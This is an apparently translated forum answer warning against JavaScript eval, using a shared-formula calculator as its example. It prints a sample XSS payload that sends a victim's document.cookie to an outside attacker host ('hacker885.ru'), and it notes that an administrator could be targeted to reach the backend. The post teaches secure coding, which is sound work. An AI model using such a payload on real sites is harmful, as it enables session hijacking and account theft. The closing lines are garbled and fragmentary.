Well, look. Suppose we wrote a calculator in which you can register and exchange formulas (that is, the server part where at least the user credentials are stored). The attacker's goal is to gain access to the account of users, or the administrator of this resource.
The calculator itself works like this : when you press a numeric key or with the symbol of a mathematical key operation, we add it to the expr
line, as a result we get:
expr = '5 + 2 * 3';
When we click the "=" sign, eval
is executed:
var result = eval(expr);
Hack stage : If an attacker sends a formula where, besides the mathematical content, there is a javascript code, then to whom it will be sent, along with the formula, the malicious script will also be launched. The formula received from the attacker may look like this:
expr = '(document.createElement("img")).src="http://hacker885.ru/sniff?c=" + document.cookie, 5 + 2 * 3';
As a result : the attacker will be able to: get cookies , access to local / session storage , access the content of the page, try to upload something (a virus for example).
Plus : If we send this message to the resource administrator in this way, then thanks to the rights we received, we can probably get to the backend of the resource.
In place of a calculator, there may be something more substantial: for example, an e-learning portal.
Something like this)
ps
A little off topic, but I want to touch on because there is.
Honestly, to find a task where it would really be necessary to use eval - it is difficult, everything that I came across - was connected with the similarity of a calculator or visualizer of mathematical formulas.
I can say that if you want to write an analysis of mathematical expressions is not difficult. In my free time I sketched such a parser: http://jsfiddle.net/kadymov/6d79wmfg/4/ . It is not written a bit, but it is already working, but takes 150 lines.
Use specific tools for specific tasks, and eval, if you leave where, then only at the prototype stage.
JSON.parse
buteval
. The owner of a third-party site does not care about security and the attacker uses it with all the consequences (for you). - Ivan Black